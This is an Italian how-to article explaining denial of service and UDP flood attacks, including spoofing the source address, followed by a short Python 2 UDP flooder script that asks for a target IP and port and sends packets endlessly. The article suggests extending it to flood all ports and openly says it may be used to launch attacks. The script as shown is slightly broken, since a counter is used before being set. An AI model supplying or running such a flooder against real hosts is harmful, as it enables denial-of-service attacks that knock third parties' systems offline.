Solo una certa quantità di dati possono passare sul tuo network e verso il tuo computer, questa quantità di dati è pari alla larghezza di banda che possiedi. Più larghezza di banda hai (Bandwith) più veloci saranno le connessioni nel tuo network. Ma non solo, più banda avrai, più connessioni e trasferimenti paralleli sarai in grado di gestire. Quando tutta la tua banda si satura e non sei in grado di accettare più connessioni, si è in presenza di un DOS.

L’effetto di un DOS può essere provocato in vari modi. Uno dei tanti potrebbe essere trovare e sfruttare un servizio che gira su un host remoto. Possiamo anche fare in modo che un programma cicli fino a consumare tutte le risorse dell’host remoto. Portandolo di fatti offline. O in alternativa possiamo sfruttare l’UDP flood.

Un attacco basato sull’UDP flood si avvia mandando un grande numero di pacchetti UDP ad una porta random dell’host remoto. Come risultato, l’host remoto:

1. Controllerà se esiste un’applicazione in ascolto su quella porta.
2. Si renderà conto che non esiste alcuna app in ascolto.
3. Invierà dunque un pacchetto di risposta “ICMP Destination Unreachable“.

In questo modo, per un gran numero di pacchetti UDP, il sistema vittima sarà costretto ad inviare altrettanti pacchetti ICMP, portandolo ad essere irraggiungibile da altri client. L’attaccante può anche modificare l’indirizzo IP di provenienza di questi pacchetti UDP, in modo che i pacchetti ICMP di risposta non lo raggiungano.

Qui di seguito mostriamo un esempio di Flooder UDP scritto in Python:

import socket # Necessita della libreria
import random
 
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Crea un socket
bytes=random._urandom(1024) #Crea un pacchetto
ip=raw_input('Target IP: ') #L'IP bersaglio
port=input('Port: ') #La porta a cui ci riferiamo
 
while 1: #Invia all'infinito pacchetti fintanto che non si esce dal programma.
    sock.sendto(bytes,(ip,port))
    print "Invia %s pacchetti a %s sulla porta %s." % (sent,ip,port)
    sent= sent + 1

Salvate il codice come udpflooder.py. Eseguitelo sull’IDLE o su console direttamente, e vi verrà chiesto di inserire le informazioni necessarie.

Questo script sferra un attacco verso una sola porta, per migliorarlo si potrebbe pensare di effettuare il flood su tutte le 65535 porte disponibili. La modifica è facile da attuare. Per testarlo contro un utente locale basta inserire il suo indirizzo ip compreso fra 192.168.1.1 ed 192.168.255.255

L’articolo mostrato è solo un How-To, può essere utilizzato per sferrare attacchi (a vostro rischio e pericolo) o semplicemente testare la vostra infrastruttura di rete. Usate sempre il buon senso 😉